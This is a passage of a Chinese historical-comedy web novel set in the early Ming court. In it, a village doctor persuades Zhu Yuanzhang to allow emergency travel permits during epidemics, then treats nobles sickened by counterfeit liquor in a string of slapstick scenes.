李文忠手里的酒杯“啪”地掉在桌上,酒水溅了一身。
蒋瓛原本在嚼牛肚,此刻动作僵住,喉结滚动两下,硬生生咽了下去。
徐妙云瞳孔微缩,手指无意识地攥紧了衣角。
朱元璋脸上的笑意一点点消失。
他缓缓放下筷子,声音低沉:“马小子,你再说一遍?”
马淳神色不变:“户籍制度限制百姓流动,一旦某地爆发瘟疫,百姓无法逃离,只能等死。路引制度更是繁琐,若有人染病急需寻医,层层关卡耽误时间,多少人因此丧命?”
李文忠额头渗出冷汗,低声道:“马大夫,慎言……”
朱元璋抬手止住他,盯着马淳:“你知道这制度为何而设?”
“知道。”马淳点头,“战后恢复生产,防止流民失所。”
“那你还敢妄议?”朱元璋声音陡然提高。
院外的锦衣卫听到动静,手已经按在刀柄上。蒋瓛悄悄摆手,示意他们别动。
徐妙云深吸一口气,轻声道:“陛下,夫君并非指责国策,只是从医者角度……”
朱元璋冷冷打断:“让他自己说。”
马淳直视朱元璋:“臣并非反对户籍制度本身,而是建议增设例外条款。比如疫病流行时,地方官可临时放宽路引限制,允许百姓投亲靠友或外出求医。”
李文忠忍不住插话:“这……恐怕会有人趁机逃税避役。”
马淳摇头:“非常时期,活命比税收重要。若一地死绝,税从何来?”
朱元璋眼神锐利如刀:“你可知前元为何亡国?就是因为管不住流民!”
“前元放任自流,大明却可有序疏导。”马淳不卑不亢,“比如规定疫区百姓只能往指定州县迁移,由官府统一安置。既防扩散,又保民生。”
夜风吹过,灯笼摇晃,映得众人脸色阴晴不定。
蒋瓛突然开口:“马大夫,你可知这话传出去,多少官员会弹劾你动摇国本?”
马淳笑了笑:“蒋指挥使若想拿我,现在就能动手。”
朱元璋猛地拍桌:“够了!”
众人噤若寒蝉。
徐妙云指尖发白,却仍挺直腰背坐在马淳身旁。
良久,朱元璋忽然冷笑:“马小子,你倒是敢说。”
他转头问李文忠,“保儿,你觉得呢?”
李文忠硬着头皮道:“舅舅,马大夫所言……确有几分道理。去岁凤阳闹瘟,就有百姓因无路引被困死在村里。”
朱元璋眯起眼睛,又看向蒋瓛:“你呢?”
蒋瓛沉吟道:“锦衣卫上月密报,湖广有县令私自放疫民出城,反倒控制住了疫情。”
朱元璋盯着翻滚的红油锅,问徐妙云:“徐丫头,你爹教过你《周礼》吧?泉府掌节货之出入,是不是也要路引?”
徐妙云声音轻柔却清晰:“《周礼》亦云:‘大荒大札,则无门关之征’。灾疫之年,本该弛禁。”
朱元璋哼了一声,突然抓起酒碗一饮而尽。
他抹了把嘴,指着马淳:“你小子……真当咱是暴君?”
马淳正要回答,朱元璋却摆手:“明日早朝,咱会让户部议个章程。疫病流行时,准予百姓持医馆证明领取临时路引。”
李文忠瞪大眼睛:“舅舅,这……”
朱元璋瞪他:“怎么?咱是那种听不进谏言的昏君?”
说着自己先笑起来,院中凝滞的气氛顿时一松。
徐妙云悄悄松了口气。
马淳给她夹了片嫩笋,轻声道:“没事了。”
朱元璋瞧见,撇嘴道:“行了,别眉来眼去的。马小子,下回有话直说,少给咱演这出欲言又止的戏码!”
马淳微笑:“臣遵旨。”
蒋瓛从辣锅里捞出片毛肚,嚼得咯吱响:“马大夫,这户籍制度改不改另说,您这火锅是真够味。”
众人一愣,随即哄笑起来。
朱元璋再次趁机把李文忠碗里的羊肉夹走,得意道:“年轻人要多历练。”
“舅舅,历练也不是要要咱一直光烫不吃!”李文忠也学会了反将一军。
“瞧你那没出息的样,呶,分你一半!”朱元璋说着分给李文忠一半。
李文忠当即喜笑颜开地吃起来。
入夜了,朱元璋起身伸了个懒腰:“回宫!马小子,记得把火锅底料给咱一点,咱带给标儿和皇后尝尝。”
马淳拱手:“臣明日就差人送去。”
待圣驾离去,徐妙云终于瘫坐在石凳上,后知后觉地发现背脊全是冷汗。
马淳握住她的手:“怕了?”
徐妙云摇头,眼中闪着光:“夫君今日……很威风。”
院墙外,蒋瓛压低声音对锦衣卫道:“今晚之事,谁敢外传,提头来见。”
……
进了乾清宫,朱标正在灯下批阅奏章。
见朱元璋进来,他连忙起身行礼。
“父皇今日出宫,可还顺心?”
朱元璋大马金刀地坐下,端起茶碗又放下,“标儿,马淳那小子今天说了件事。”
朱标递上热毛巾,“小马大夫又有什么高见?”
“他说咱的户籍路引制度是防病防灾的人祸。”朱元璋眯起眼睛,“你听听,这话像话吗?”
朱标的手顿了一下,欲言又止。
朱元璋拍桌:“在你爹面前还支支吾吾的,说!”
朱标深吸一口气,转身从案几暗格取出一叠密报,“其实小马大夫说得不错。这是儿臣近日收到的密报。”
朱元璋接过密报,就着烛火翻看。越看脸色越沉。
“浙江严州府,知县王守德为保政绩,派衙役把守村口,不许染疫村民外出求医?”
“江西吉安府同知刘焕,将三十七名发热百姓锁在祠堂,任其自生自灭?”
朱标轻声道:“这些官员怕疫情扩散影响考绩,索性让病人死在当地。村民若是逃出去,他地官府见无路引,便不收容医治。”
朱元璋将密报重重摔在案上。“混账东西!”
……
第74章 能让陛下改制度的,你是头一个
第74
殿内烛火猛地一跳。
朱标继续道:“苏州府倒是另有一例。知府陈宁私下放宽路引,让轻症百姓投奔邻县亲戚,反倒控制住了疫情。”
朱元璋起身踱步,忽然停下问道:“马淳怎么说来着?”
蒋瓛在边上道:“他建议疫时增设例外条款,允许百姓持医馆证明领取临时路引。”
朱元璋哼了一声。“这小子倒是会想。”
朱标观察着父亲神色,小心道:“儿臣以为,可命户部与太医院合议,定个章程。”
“你拟个条陈。”朱元璋坐回龙椅,“三条:其一,疫区百姓经医官确认,可申领临时路引;其二,接收州县设隔离区,朝廷拨专款安置;其三,敢卡路引的官员,一律剥皮实草!”
朱标郑重应下,又道:“是否要召马淳入宫详议?”
“不必。”朱元璋摆手,“那小子性子倔,来了反倒坏事。你明日派个妥当人去小青村,让他写个详细方略。”
正说着,太监捧着一个食盒进来。“陛下,马大夫差人送来的红油锅底料。”
朱元璋脸色稍霁,“算他识相。”
打开食盒,辛辣香气顿时弥漫开来。“标儿,尝尝?”
朱标夹了一筷子,辣得直吸气,却忍不住又夹一块。“果然够味。”
朱元璋忽然道:“马淳今日说那话时,徐丫头就坐在旁边,手都攥白了也不劝一句。”
“徐家妹妹向来有主见。”
“你妹子要有她一半胆色就好了。”朱元璋叹气,“前日见个血就晕。”
朱标笑道:“人各有所长。徐妹妹通医术,临安善琴棋。”
朱元璋瞥他一眼。“你倒是会打圆场。”
说着又翻开密报,“这些狗官,真当咱的刀不利了?”
朱标正色道:“儿臣已命刑部暗查,不日便有结果。”
“查实一个办一个。”朱元璋眼中寒光一闪,“正好杀鸡儆猴。”
夜深了,朱元璋问道:“标儿,你觉得马淳如何?”
朱标思索片刻。“有才学,敢直言,但过于刚直。”
“咱就喜欢他这点。”朱元璋敲着桌子,“满朝文武,敢当面说咱制度不好的,他是头一个。”
“父皇圣明。”
“少拍马屁。”朱元璋笑骂,“去睡吧,明日早朝有得忙。”
朱标行礼退下。
走到殿门处,忽听朱元璋又道:“告诉马淳,他要是敢把今日之事往外说,咱真阉了他。”
“儿臣明白。”
次日清晨,一骑快马出朝阳门,直奔小青村而去。
医馆后院,马淳正在晾晒药材,见锦衣卫千户进来,挑眉道:“大人这么早?”
千户拱手:“奉太子令,请马大夫写个疫时路引的章程。”
马淳擦擦手。“陛下准了?”
“昨夜连发三道谕令。”千户压低声音,“浙江严州知县已经锁拿进京。”
徐妙云端茶出来,闻言与马淳对视一眼。
“夫人研墨。”马淳卷起袖子,“我这就写。”
千户补充道:“太子特意交代,要写明如何辨别轻重症,以及接收州县如何安置。”
马淳点头,提笔蘸墨。
笔锋在宣纸上沙沙游走,时而停顿思索。
一个时辰后,章程写成。
马淳吹干墨迹,递给千户。“三条要诀:轻症分流,重症集中;沿途设检疫亭;接收地备足石灰烈酒。”
千户仔细收好道:“马大夫可知,昨日您那番话,换别人早进诏狱了。”
徐妙云指尖一颤。
马淳笑笑。“陛下圣明。”
千户意味深长地看了他一眼,拱手告辞。马蹄声渐远,徐妙云长舒一口气。
“吓着了?”马淳揽住她肩膀。
徐妙云摇头。“只是没想到陛下真会采纳。”
“老朱是明白人。”马淳望向京城方向,“乱世用重典,治世需通变。”
厨房飘来红油香气。
徐妙云轻笑:“锅底还有剩,中午再涮一顿?”
马淳亲了她额头一下。“听夫人的。”
远处官道上,千户回头望了眼小青村。
晨雾中,医馆的青瓦屋顶若隐若现。
他喃喃自语:“能让陛下改制度的,你是头一个。”
鞭子一甩,骏马加速奔向应天府。
……
奉天殿内乌纱攒动。
朱元璋走进大殿,扫过文武百官。
“今日议疫时路引章程。”他甩出一叠奏章,“浙江严州知县王守德,为保政绩封村锁户,致三十七人活活烂在祠堂里——这就是你们说的‘防扩散’?”
兵部尚书沈缙出班:“陛下,若放开路引,流民四窜更易传疫……”
“放屁!”朱元璋抓起茶盏又重重放下,“马淳怎么说来着?‘非常时期,活命比税收重要’!你们这群酸儒,脑子里装的都是自己的乌纱帽!”
满朝寂静。
吏部侍郎周祯硬着头皮道:“马淳不过一介村医,岂知国策……”
“村医?”朱元璋冷笑,“他治好的瘟疫患者比太医院十年接诊的都多!蒋瓛,把湖广密报念给他们听!”
锦衣卫指挥使跨前一步,声如金铁:“湖广慈利县丞私放疫民投亲,全县亡者仅八人;相邻石门县严守路引,死绝两村。”
文官队列里有人倒吸凉气。
“听见没?”朱元璋指节叩的御案咚咚响,“马淳还说了,疫民不是流寇!该防的是病,不是人!”
户部尚书郁新突然跪下:“臣请增派巡检司查验路引,凡发热者一律……”
“查验个球!”朱元璋流氓脾气犯了,“等你验完,人都凉透了!传旨:即日起,各州县设‘疾引’,持医官文书者,关津不得阻拦!”
工部给事中颤声道:“若有人伪造……”
“那就杀!”朱元璋的吼声震得大殿嗡嗡作响,“疾引用蓝印泥,三日一换式样,比你们那套黄册防伪强十倍!”
众臣面面相觑。
角落里突然传来细碎议论:“马淳马淳,陛下怎总提那乡野郎中……”
朱元璋耳尖一动,“刘侍郎,听说你小妾上月得了怪病,是请谁看的?”
那官员顿时面如土色。
“是…是马大夫开的方子……”
“现在知道叫马大夫了?”朱元璋哼了一声,“马淳还说了,疫时该在官道设检疫亭,你们工部明日就督办,迟一天,朕就让你去亭子里当差!”
早朝散时,烈日已烤得金砖发烫。
李文忠追着朱元璋到华盖殿:“舅舅,方才是不是太……”
“太什么?太痛快?”朱元璋灌了口凉茶,“保儿啊,你记住,治大国如涮火锅,该下猛料时别手软!”
他忽然眯眼望向殿外:“去,把今日朝议透给小青村。”
小青村医馆。
马淳正捣着药,忽见徐妙云拎着食盒匆匆进来。
“锦衣卫刚递的消息。”她指尖沾着茶水在石桌上画圈,“陛下用你的话堵了满朝文武。”
药杵顿在臼中。
“真改制度了?”
徐妙云点头,从食盒底层抽出张纸条:“郁新派了心腹去各府,明里办差,暗里阻挠。”
马淳扫过纸条,冷笑一声:“果然。”
……
第75章 在中医面前任何秘密都藏不住
这一日,医馆门前的青石板路上传来马蹄声。
徐妙云正在前院晾晒药草,听见动静抬头望去。
三匹骏马停在门前,为首的白马上跳下个锦衣青年。
“马兄在吗?”李景隆撩开帘子。
马淳从药柜后转出来,手里还握着捣药杵。“李公子稀客啊。”
“给你带两位贵客。”李景隆侧身让出身后两人,“颖国公府的傅世子、傅二公子。”
马淳对他们拱手抱拳:“两位贵客莅临,我们这小地方可是蓬荜生辉啊!”
傅忠大咧咧往诊椅上一坐,“早听说马神医连断肢都能接,今儿个特来见识见识。”
马淳放下药杵,在布巾上擦了擦手。“二位谁先看?”
“我先来!”傅忠伸出胳膊,“最近总觉得身子乏,你给我瞧瞧。”
三根手指搭上腕脉,不久马淳眉头渐渐皱起。
傅让凑过来问:“我大哥可是染了风寒?”
“比风寒麻烦。”马淳收回手,“第一,房事过密。世子妻妾不少吧?”
傅忠脸色涨红:“胡说什么!本世子就一妻二妾……”
“那就是夜夜笙歌。”马淳打断他,“第二,肾精亏损严重。上月是不是连续三日……"
“停停停!”傅忠跳起来捂住马淳的嘴,“这些私事能不能小点声!”
李景隆憋笑憋得肩膀直抖。
果然在国手面前,一搭脉什么都给你看出来。
傅让好奇地追问:“马大夫,我哥第三样毛病是什么?”
马淳掰开傅忠的手:“第三,假酒喝多了。”
“放屁!”傅忠拍案而起,“老子喝的都是二十年陈酿!”
马淳不慌不忙地询问,“世子左胁下三寸是否常有隐痛?卯时口干舌燥?饮酒后头痛如裂?”
傅忠张着嘴,半天没合上。
“假酒伤肝。”马淳捻着银针,“真正的陈酿不会让舌根发麻。世子所谓的好酒,怕是掺了绿矾的劣货。”
傅忠气势顿时矮了半截,“不可能……那些可都是曹掌柜的珍藏……”
“可是鼓楼西街那个曹胖子?”李景隆插话,“上个月刚被锦衣卫抄了,酒窖里搜出二十坛勾兑的假酒。”
傅忠腿一软跌坐在椅子上。
徐妙云端着茶盘进来,见状抿嘴一笑:“世子莫慌,夫君最擅解酒毒。”
马淳已经写好方子:“每日晨起服一剂,戒酒半月。另外……”他压低声音,“床笫之事也要节制。”
傅忠耳朵尖都红了,抢过药方就往怀里塞。
“大哥,该我看了!”傅让趁机坐下:“马大夫给我也看看?”
这次把脉更快。马淳抬头打量傅让:“二公子身体康健,就是……”
“就是什么?”
“练武时别总用左手使枪,右肩胛骨都歪了。”
傅让瞪大眼睛:“这你都能摸出来?我确实惯用右手枪!”
李景隆来了兴致:“马大夫,那我……”
“你没事。”马淳头也不抬,“就是最近零嘴吃多了,舌苔发腻。”
李景隆讪讪地缩回伸出的手腕。
徐妙云适时递上消食茶。
傅忠还在纠结假酒的事,突然抓住马淳的袖子:“马兄,你说实话,我那些藏品里……有没有真货?”
马淳同情地看着他:“大概都是假的。”
傅忠哀嚎一声扑在药柜上。
傅让赶紧扶住兄长:“大哥想开点,至少……至少马大夫没说你那坛酒是醋兑的。”
“二公子慎言。”马淳正色道,“那酒里确实有醋,不过只占七成。”
啊啊……
傅忠更加不愿意接受。
院外突然传来急促的马蹄声。
蒋瓛带着两个锦衣卫闯进来,看见满屋子勋贵子弟愣了一下。
“马大夫,陛下口谕。”蒋瓛板着脸,“明日未时,带着你的银针去趟曹国公府。”
傅忠的酒醒了大半:“出什么事了?”
蒋瓛瞥了眼他发青的眼圈:“陛下说,要请马大夫给某个夜夜笙歌的混账行针。”
傅忠“扑通”跪下了。
马淳忍着笑扶他起来:“世子别怕,陛下说的是曹国公。”
“我爹?”李景隆愣了一下。
“曹国公?”傅忠一骨碌爬起来,“他也喝假酒了?”
蒋瓛嘴角抽了抽:“他晌午在陛下面前炫耀,说自己能连饮三坛不醉。结果才喝半坛就吐在御花园里,现在头疼得直撞墙。”
李景隆突然想起什么:“等等,我爹喝的酒……该不会是从傅兄那里……”
傅让道:“大哥,我记得你说要感激李叔教你兵法,前几日刚送给李叔几坛好酒答谢。”
院子里死一般寂静。
傅忠缓缓转头看向马淳,眼神绝望:“我现在装死还来得及吗?”
李景隆已经上前去掐住他的脖子,“你个挨千刀的!你给我爹送假酒,我掐死你!”
“冷静……李兄冷静……我也是受害者啊……”傅忠被他掐得快要断气。
大家上前来拉开,才算结束闹剧。
马淳拍拍傅忠的肩膀:“我建议世子主动进宫请罪。顺便……”
他从柜台下摸出个瓷瓶,“这是解酒丹,陛下若问起来,就说你是来替曹国公求药的。”
傅忠感激涕零地接过瓷瓶,正要道谢,忽听徐妙云轻笑:“夫君忘了说,这药服后会腹泻三日。”
“故意的?”傅忠捏着瓷瓶的手微微发抖。
马淳笑而不答。
蒋瓛一把拎起傅忠的后领:“走吧世子,末将护送您进宫。”
待马蹄声远去,傅让长舒一口气:“马兄,我大哥不会有事吧?”
“顶多挨二十军棍。”马淳开始收拾银针,“陛下最近正愁没理由收拾那群醉鬼。”
李景隆凑近:“马大夫,你刚才说我零嘴吃多了……具体是哪样零嘴有问题?”
“李公子最近常吃蜜饯铺的杏脯吧?”
“神了!你怎么知道?”
马淳指指他衣襟上的糖霜:“那家用的砒霜熏制,吃多了掉头发。”
李景隆一把捂住自己浓密的发髻。
傅让临走时回头:“马兄,我大哥的事……"
“放心,谨遵医嘱,不会有什么大事。”马淳站在医馆门口。
傅让会意地拱手,翻身上马。
徐妙云倚着门框轻笑:“夫君今日可把颖国公府得罪狠了。”
马淳揽住她肩膀:“无妨,等傅世子发现头发不掉了,牙齿不疼了,腰也不酸了……”
“就该带着厚礼来谢你了?”
“就该带着他爹来揍我了。”马淳笑着关上门。
徐妙云眨眨眼:“为何?”
“因为我忘了说,傅忠他生不出儿子来,是因为那方面不行!”
……
第76章 李文忠被假酒害得上吐下泻!!
第76
傅忠被蒋瓛提溜进奉天殿时,李文忠正趴在铜盆边上吐得昏天黑地,颖国公傅友德站在一旁,脸色比锅底还黑。
宋国公冯胜和永昌侯蓝玉一瞧见傅忠那副怂样,笑得直拍大腿。
“哎哟喂,这不是咱们傅大世子吗?”蓝玉笑得直揉肚子,“听说你这京城酒仙尽喝假酒?”
冯胜捋着胡子补刀:“你自个喝也就算了,还连累曹国公一起遭罪,你小子可真是孝出强大啊!”
傅友德气得胡子直翘,抄起殿前护卫的金瓜锤就冲了上去:“孽障!老子今天非打死你不可!”
傅忠“嗷”的一声窜到柱子后面:“爹!爹!误会啊!我也是受害者!”
朱元璋坐在龙椅上,瞧着这场闹剧,嘴角抽了抽:“蒋瓛,去把傅友德拦下,别让他把朕的柱子砸坏了。”
蒋瓛赶紧上前,一把抱住傅友德的腰:“国公爷息怒,世子也是被人骗了。”
傅友德挣扎着骂道:“被骗?他蠢成这样,活该被骗!”
李文忠吐得差不多了,虚弱地抬起头:“傅小子……你那酒……可真是够劲啊……”
傅忠欲哭无泪:“李叔,我真不知道那是假酒啊!”
蓝玉笑得直拍桌子:“傅忠啊傅忠,你爹当年在战场上砍人如切菜,怎么生了你这么个活宝?”
傅友德气得直跺脚:“老子一世英名,全毁在这小子手里了!”
朱元璋终于看够了戏,敲了敲御案:“行了,都别闹了。”
众人立刻噤声,傅忠“扑通”一声跪在地上:“陛下,臣冤枉啊!”
朱元璋冷笑:“冤枉?你送假酒给曹国公,害得他在朕面前出丑,还敢喊冤?”
傅忠缩了缩脖子:“臣……臣也是被人坑了……”
朱元璋哼了一声:“马淳怎么说?”
蒋瓛上前一步:“马大夫说,世子肾亏是假酒喝多了,外加……那方面不太行。”
殿内瞬间安静。
老朱愣了一下:“咱没让你说这件事!咱是让你去问马淳怎么让保儿更好受一点。”
噢噢……
蒋瓛这才反应过来。
傅友德的脸“唰”地绿了:“什么?你小子不行?好啊!我说怎么让你娶了仨,你连半个子都不下,原来是不行!!”
傅忠恨不得找个地缝钻进去:“爹,您小点声……”
蓝玉和冯胜对视一眼,憋笑憋得肩膀直抖。
朱元璋揉了揉太阳穴:“行了,傅忠,朕念在你爹的面子上,饶你一回。”
傅忠如蒙大赦,连连磕头:“谢陛下开恩!”
朱元璋又看向李文忠:“保儿,你怎么样?”
李文忠虚弱地摆摆手:“舅舅,臣没事……就是胃里翻江倒海……”
朱元璋嫌弃地皱眉:“堂堂国公,喝个酒都能喝成这样,丢人!”
李文忠委屈巴巴:“那酒……太邪门了……”
便在这时,傅忠捧着瓷瓶,献宝似的凑到曹国公李文忠面前:“李叔!这可是我从马大夫那儿求来的解酒丹,专治假酒反胃!”
李文忠正捂着肚子,脸色发青,一听这话,眼睛都亮了:“当真?”
“那还能有假?”傅忠拍着胸脯,“马淳说了,吃下去立马见效!”
李文忠二话不说,一把抢过瓷瓶,倒出两粒黑乎乎的药丸,仰头就吞了下去。
傅忠搓着手,满脸期待:“怎么样?胃里是不是舒服多了?”
李文忠咂咂嘴,眉头舒展:“嗯……确实不反胃了……”
话音刚落,他的肚子突然“咕噜噜”一阵巨响。
傅忠脖子一缩,小心翼翼地补充:“呃……马大夫还说,胃是好了,但可能会……窜稀……”
李文忠脸色骤变,猛地站起身:“你小子——”
话没说完,他脸色一僵,捂着肚子就往殿外冲:“茅房!茅房在哪儿?!”
殿内众人愣了一瞬,随即爆发出一阵哄笑。
宋国公冯胜笑得直拍大腿:“老李啊老李,你这辈子都没跑这么快过吧?”
永昌侯蓝玉更是笑得前仰后合:“傅忠!你小子够损啊!送假酒也就算了,还送泻药!”
傅忠缩着脖子,干笑两声:“这……这真不怪我,马大夫说这是排毒……”
朱元璋坐在龙椅上,嘴角抽了抽,终于忍不住“噗嗤”一声笑出来:“李文忠!你堂堂国公,被个毛头小子耍得团团转,丢不丢人?”
殿外传来李文忠的怒吼:“傅忠!你小子等着!老子打断你的腿!”
傅忠一哆嗦,赶紧往朱元璋身后躲:“陛下!臣冤枉啊!臣也是好心!”
朱元璋哼了一声,抬手示意众人安静:“行了,都别笑了。”
他扫视一圈,板着脸道:“今日这事,正好给诸位提个醒——喝酒误事!堂堂国公,喝假酒喝到窜稀,传出去像话吗?”
冯胜憋着笑,拱手道:“陛下教训得是。”
蓝玉也赶紧附和:“臣等以后一定节制。”
朱元璋满意地点点头:“李文忠就是个好例子,你们谁要是再敢贪杯误事,朕就让他去茅房门口站岗!”
众人又是一阵哄笑。
这时,李文忠扶着墙,脸色苍白地走回来,咬牙切齿地瞪着傅忠:“你小子……”
傅忠干笑:“李叔,您……您感觉如何?”
李文忠深吸一口气,刚要发作,朱元璋却先开口:“行了,保儿,你也别怪傅忠,要怪就怪你自己贪杯。”
李文忠委屈道:“舅舅,我……”
朱元璋摆摆手:“去歇着吧,今日就到这儿。”
李文忠无奈,只能恶狠狠地瞪了傅忠一眼,转身离去。
傅忠擦了擦额头的冷汗,小声嘀咕:“马大夫啊马大夫,你可害苦我了……”
傅友德叹了口气,冲朱元璋拱手:“陛下,犬子荒唐,老臣回去一定好好管教。”
朱元璋摆摆手:“行了,你们父子俩别在朕这儿丢人了,赶紧滚蛋。”
傅友德一把揪住傅忠的耳朵,拖着他往外走:“回家再收拾你!”
傅忠疼得龇牙咧嘴:“爹!轻点!耳朵要掉了!”
蓝玉在后面起哄:“傅兄,下手重点!这小子欠揍!”
冯胜笑眯眯地补刀:“傅忠啊,回去多喝点马大夫开的药,争取早点让老傅抱上孙子!”
傅友德回头瞪了他们一眼:“你们两个老东西,少说风凉话!”
朱元璋看着这群勋贵闹腾,忽然觉得心情不错。
他冲朱标招招手:“标儿,你看这群老家伙,像不像市井泼皮?”
朱标忍俊不禁:“父皇,他们这是感情好。”
朱元璋哼了一声:“感情好?朕看他们是闲得慌!”
……
颖国公府。
傅忠捂着屁股一瘸一拐地逃进后院:“娘!救命啊!爹要打死我!”
傅友德举着藤条在后面追:“孽障!老子今天非抽死你不可!”
傅让躲在廊柱后面偷笑:“大哥,你自求多福吧!”
傅忠哀嚎:“二弟!你还是不是我亲弟弟了!”
傅让耸耸肩:“亲兄弟明算账,谁让你送假酒害得李叔吐成那样?”
傅友德终于逮住傅忠,藤条“啪啪”抽下去:“让你丢人!让你肾亏!让你不行!”
傅忠疼得直跳:“爹!轻点!我还要传宗接代呢!”
傅友德气得胡子直翘:“就你这样,传个屁的宗接个屁的代!”
府里的下人憋笑憋得脸都红了。
远处,傅忠的妻子和妾室们躲在窗后偷看,笑得花枝乱颤。
“老爷真是的,打这么狠做什么?”
“就是,世子爷已经够可怜了……”
“不过话说开了也好,我们总不用担个不下蛋的母鸡的名声了。”
“嘘——小点声,别让老爷听见!”
傅忠的哀嚎声传遍整个国公府……
第77章 我怕是要吃牢饭……
次日清晨,小青村医馆的门板刚卸下,傅忠就鬼鬼祟祟地钻了进来。
他戴着斗笠,脸上还蒙了块布巾,活像个打家劫舍的蟊贼。
徐妙云正在整理药柜,被这模样吓了一跳:“这位客官……”
“是我!”傅忠一把扯下布巾,露出两个乌青的眼圈。
马淳从里屋转出来,手里还端着碗冒着热气的药汤:“哟,世子这是被令尊揍了一顿?”
傅忠龇牙咧嘴地揉着屁股:“二十藤条,我爹下手比锦衣卫还黑。”他左右张望,压低声音:“马大夫,昨日多谢你给留面子……”
马淳把药汤递给徐妙云:“世子指的是?”
“就是那个……”傅忠搓着手,脸涨得通红,“你说我不行的事。”
徐妙云噗嗤一笑,拎着茶壶转身就走:“我去后院看看灶火。”
马淳示意傅忠坐下:“伸手。”
三根手指搭上脉门,马淳的眉头渐渐皱紧:“世子觉得自己行不行?”
“我……”傅忠涨红了脸,“妻妾进门三四年都没动静,可能是那晚在青楼……”
他突然卡壳,脖子红得像酱萝卜。
马淳忍着笑给他诊脉:“肾脉虚浮,肝经郁结,心火亢盛……”
他突然抬头:“世子最近是不是总做噩梦?”
傅忠浑身一颤:“你怎么知道?”
“梦里是不是总听见刀剑碰撞声?”
傅忠手里的茶杯“咣当”掉在地上。
他嘴唇哆嗦着:“神了……”
马淳捻着银针:“这病根至少有五六年了。”
“五年!”傅忠掰着手指一算,突然僵住。
马淳递来新茶杯:“世子若信得过夫君,不妨直言。”
傅忠盯着茶杯里晃荡的水纹,声音细如蚊蚋:“十六岁那年……我我偷摸去秦淮河开荤。刚脱了外裳,隔壁突然打起来,有个血葫芦撞破板壁摔在我床上!”
他比划着,“那家伙肠子都挂在我帐钩上了!”
马淳手里顿了顿,八卦之心就起来了:“所以?”
“所以我被家将扛回去时,裤裆里全是……”傅忠痛苦抱头,“后来每次要办正事,眼前就晃荡那截肠子!”
诊室里静得能听见银针落地的声音。
马淳突然拍案大笑:“所以颖国公府三代单传,是因为世子被个血葫芦吓萎了?”
傅忠急得直跺脚:“小点声!”
接着马淳转身翻箱倒柜,哗啦啦扔出七八个瓷瓶。
傅忠吓得往后仰:“要、要扎针?”
“先吃药。”马淳推过一碗黑黢黢的汤药,“安神的。”
傅忠捏着鼻子灌完,时间不长,他瞪大眼睛:“咦?眼前不晃肠子了!”
“那是黄连水。”马淳又递上第二碗,“这才是正主。”
这回傅忠刚喝半口就喷了:“怎么有股子腥气?”
“那是虎骨鹿茸丸。”马淳掏出银针,“脱裤子。”
傅忠死死攥住腰带:“等等!您不是说先吃药?”
“药是治你心病。”马淳弹了弹针尖,“现在治肾虚。”
门外突然传来李景隆的怪叫:“傅兄!我爹今早提着棍子……呃?”
他卡在门槛上,瞪圆眼睛看着傅忠撅在诊床上的白屁股。
傅忠的哀嚎惊飞了屋檐下的麻雀:“李景隆你狗日的关门啊!!!”
嚎叫得同时,傅忠手忙脚乱地裹紧裤子往柜台下钻,斗笠都挤歪了。
李景隆哈哈大笑地凑近:“怎么脸这么红?”
接着他突然抽抽鼻子:“咦?这味儿……”一把抢过傅忠手里的瓷瓶,“虎骨鹿茸丸?好家伙!”
傅忠扑上去就抢:“还我!”
两人在诊室里扭作一团,撞得药柜砰砰响。
徐妙云掀帘子进来,见状“哎呀”一声又退出去。
马淳抄起捣药杵在铜钵上“咣”地一敲:“要打出去打!”
李景隆趁机把瓷瓶塞进怀里,嬉皮笑脸道:“马大夫,这药给我爹试试?他昨天……”
“不行!”傅忠急得跳脚,“这是我治病的药!”
“你治病?”李景隆突然反应过来,指着傅忠狂笑,“哈哈哈!原来你真不行!”
傅忠抄起脉枕就砸。
马淳慢悠悠道:“李公子,你最近是不是总觉得腰酸?”
李景隆笑声戛然而止:“你怎么知道?”
“舌苔发白,眼底泛青。”马淳敲敲桌面,“伸手。”
李景隆乖乖伸手,嘴里还不忘损傅忠:“老傅啊,咱们难兄难弟……”
马淳把完脉,突然皱眉:“李公子最近是不是常去城东王婆茶坊?”
李景隆脸色骤变:“这也能摸出来?”
“你中的是相思子毒。”马淳冷笑,“王婆茶坊的茉莉花茶里掺了催情药。”
傅忠顿时来劲了:“好你个李景隆!装得人模狗样,原来……”
李景隆一把捂住他的嘴:“闭嘴!”
马淳悠悠道:“解药三十贯。”
李景隆掏钱的手比傅忠还快。
两人正闹着,蒋瓛突然闯进来:“马淳接旨!”
满屋子人哗啦啦跪了一地。
“陛下口谕,着马淳即刻进宫,给曹国公看诊。”蒋瓛瞥见傅忠,“哟,世子也在?正好,陛下让您去趟宗人府。”
傅忠腿一软:“又……又怎么了?”
蒋瓛憋着笑:“曹国公今早在朝会上窜稀了。”
李景隆“嗷”地一嗓子就往外冲:“爹啊!”
傅忠面如死灰:“完了完了……”
马淳把两个瓷瓶塞进药箱:“走吧,路上给你们讲讲怎么蒙混过关。”
徐妙云追到门口:“夫君,午饭……”
“留着晚上吃。”马淳眨眨眼,“说不定能蹭顿御膳。”
傅忠哭丧着脸:“我怕是要吃牢饭……”
蒋瓛实在憋不住,笑出声来。
马淳随蒋瓛入宫时,午门外的侍卫都在憋笑。穿过重重宫禁,远远就听见华盖殿里传来李文忠的哀嚎。
“舅舅!您得给外甥做主啊!”
朱元璋的声音带着不耐烦:“行了行了,拉个肚子嚎得跟杀猪似的,丢不丢人?”
马淳进殿时,正看见李文忠裹着锦被缩在榻上,脸色蜡黄。朱标在一旁端着药碗,眉头紧锁。傅忠和李景隆跪在角落里,活像两只鹌鹑。
“臣参见陛下。”
朱元璋一摆手:“赶紧给保儿看看,这小子从早朝到现在跑了七八趟茅房。”
马淳刚搭上李文忠的脉,突然“咦”了一声。
“怎么?”朱元璋眯起眼。
马淳没答话,又仔细诊了片刻,突然笑了:“恭喜曹国公。”
李文忠一愣:“喜从何来?”
……
第78章 心理疗法治疗男人不举!!
“您这泻症看似凶险,实则歪打正着。”马淳收回手,“脉象显示您体内酸碱竟比往日更平衡了。”
朱元璋皱眉:“说人话。”
马淳斟酌了一下词句:“简单说,就是曹国公体内积攒的毒素排空了。好比一缸发臭的水,现在全倒干净了。”
朱标若有所思:“所以傅忠这假酒……”
“非但不是祸,反倒是功臣。”马淳从药箱取出艾条,“曹国公常年征战,脾胃本就虚弱。前阵子卧病时又进补过度,体内积热难消。这次假酒与解酒丹相冲,恰似以毒攻毒。”
李文忠听得一愣一愣的:“那我现在?”
“再调理三日即可。”马淳点燃艾条,“不过今日要禁食,只能喝米汤。”
朱元璋突然拍案:“傅忠!”
傅忠一哆嗦:“臣在!”
